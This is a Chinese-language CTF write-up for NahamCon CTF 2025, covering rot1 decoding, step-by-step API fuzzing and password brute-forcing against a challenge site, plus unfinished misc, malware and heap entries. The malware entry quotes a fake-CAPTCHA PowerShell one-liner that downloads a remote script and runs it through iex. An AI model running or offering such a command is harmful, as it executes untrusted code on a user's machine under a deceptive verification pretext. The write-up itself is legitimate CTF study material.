250524_nahamconCTF learning record

【全栈ctfer计划中,会持续复现学习与更新该文章】

赛事信息

image.png 组织者:CTFtime.org / JustHacking

题目附件

250524_nahamconCTF.7z

web

My First CTF

image.png

考察点:rot1加密识别

赛后学习

首页: image.png 纯静态,查看源码等没有任何发现。 看了wp后: 题目描述中的字符串“Nz Gjstu DUG”没有第一眼看出来是rot1加密,本来以为是要通过提取网站的图片先做隐写分析的。 image.png 然后对flag.txt采用同样的加密方式: image.png 访问gmbh.uyu则会自动下载flag: image.png

My Second CTF

赛后学习

既然是同一系列的题目,猜测同样还是和rot加密有关,但是没什么思路。

learn from Msa: image.png

My Third CTF

Fuzzies

image.png image.png image.png image.png image.png

考察点:逐级fuzz的技巧、api常规设计常识

比赛过程记录

题目自带了两种字典,一个是密码,一个是目录 image.png

初步分析

image.png 题目1描述的是90年代,但网页中显示的是80年代,有点可疑。 image.png 这里留言中猜测某些用户提到的小熊可能存在隐藏版(和目前已有的小熊列表做对照),可能是突破口,但没有什么特别发现。

目录fuzz尝试

用gobuster目录爆破: image.png

api-admin

先看看路径admin,尝试hydra或burp爆破表单: image.png 但是没有办法爆破成功,应该用户不是admin,Admin、Fuzzies等与题目可能相关的用户名也试过了,所以卡在用户名环节。

api-fuzzies

接着路径API: image.png 不知道api都有什么,尝试在此基础上拿所给字典“wordlists.txt”来fuzz,但没有匹配的。 尝试去已爬取的网站结构中全局搜索“api”: image.png image.png 发现这个api是用于绑定网页中的图片,除此以外没任何发现了。

赛后学习

learn from Blaklis: image.png

赛后复现平台:app.hackinghub.io/hubs/nahamcon-25-fuzzies

api-users

这里其实按之前尝试爆破表单时有想到的,但是直接访问提示端点不存在,导致误判,其实还是经验不够: image.png image.png 需要再逐级尝试,注意:有时候404不一定代表端点不存在

fuzz user-id

自然根据一般网站设计的经验,每个用户都会有对应的ID,所以接下来尝试fuzz用户id: image.png image.png image.png 这时发现返回状态码变成401了,说明该api存在,只是缺少权限。

fuzz user-features

接下来随便找一个用户名,不管是否存在,按照同样的想法继续逐级fuzz,这里的目的是测试哪些功能点是存在的,直接拼接到用户名后(如果都没有则可能是位置不对,就尝试放在用户名前面,但根据之前fuzz的结果推断,实际上只有这种情况): image.png 那么说明log功能是字典中唯一能匹配的,所以可通过该功能继续判断什么用户存在:

(flag1)fuzz user-existence

image.png 所以判断出brian.1954用户存在。 flag{31ef61815ae2b7209d0493b996608be5}

(flag2)fuzz admin_passwd

显然接下来可以自己尝试往下而不用依赖wp了,因为前面admin爆破失败受困于用户名,现在显然可以重新尝试: image.png 正确密码:dallas image.png flag{8a8b9661b3bd2baa2c74347a6c5cc0fc}

进一步探索管理后台

image.png 猜测admin后台有隐藏的功能,但没结果。 image.png

(flag3)fuzz message-id

内部消息有各自的id,根据已有的消息id,大概范围可以从0-1000开始fuzz。果然找到了: image.png flag{3a5aed9baa7c7b3ba6cbe4a15425af3f} 并且似乎这个消息id 842中还藏着其他有价值信息: image.png 这里出现的UUID很眼熟,与fuzzies的ID结构很像,代表图片ID: image.png

(flag4)fuzz fuzzy-id

显然可以大胆猜测除了通过直接访问图片路径以外,还可以利用某个api通过图片ID(UUID)来访问对应图片,所以继续fuzz该api: 尝试了在fuzzies后拼接id、在fuzzy后拼接id,也尝试了前两者与imageid的组合,都没有结果。但又想到除了fuzz路径,还可以fuzz参数: 先尝试有效的apifuzzies后传递参数idimage.png 发现了flag:flag{e5f170b92990f73980b48af57f442e1f}

最后一个flag可能的位置,显然在剩下的一个管理功能memories中,或者更大概率在fuzz message-id的附件中。 image.png 这里是猜测点击接受某个隐藏的memory后,会接收隐藏flag,但并没有。

(flag5)fuzz

根据misc的经验,估计就是把flag用考察steganography的方式来找了,而不是fuzz。经过和队员的尝试,这个附件中的两张图是兔子洞,并没有藏flag,而是在fuzz fuzzy-id中该id对应的图:The Evil One the-evil-one.png image.png flag{e66699012da9344289e5042f203b5937}

总结

所以这题最关键的还是得学会“逐级fuzz”的fuzz艺术,其实还考察了api一般会采取的通用设计思路常识,比如当出现的api名和用户相关时,就要猜测出它可能是有对应ID的,然后通过拼接就能实现对指定用户的相关操作,而且第一个fuzz往往就是关键的突破口,因为在突破第一个fuzz后进入管理后台,接下来的fuzz思路就几乎都知道了。

Miscellaneous

SSSH

image.png

考察点:

比赛过程记录

image.png 这个程序可以自己生成ssh的key和罗列key。原先想法是既然程序以root权限运行,那应该也是可以直接写入ssh的key到root用户目录下的,但不行。接着就卡住了。

赛后学习

Malware

Verification Clarification

image.png

考察点:

比赛过程记录

说到这题就惭愧,没有认真看题目,看到有个看着像附件的zip,就条件反射地去点击它了,然后来到一个网站: image.png 最下面一行说这个环节是挑战的一部分,但我没有认真看,我就直接点击验证了: image.png 到这里隐约感觉不对劲怎么还要执行命令,但我还是认为这是一种新型的人机验证方式,现在真为当时的想法感到羞耻哈哈,太傻了,可能当时被其他题目拷打到头晕了。按照它的步骤,我执行了下面的这个命令:

1
powershell -NoP -Ep Bypass -c irm captcha.zip/verify | iex # ✅ ''I am not a robot - reCAPTCHA Verification ID: 5549''

结果我蓝屏了,我甚至还以为又是因为我没有及时更新电脑显卡等的驱动导致的,确认驱动没问题后,又重新试了一下又蓝屏了,真的太好笑了当时 :D 所以这道题一定会让我毕生难忘。接下来就开始学它吧,唉 ε=(´ο`*)))

赛后学习

Binary Exploitation

Lost Memory

image.png

考察点:

比赛过程记录

基本分析

image.png image.png 一看这些关键词就知道是堆题了,allocatefree

赛后学习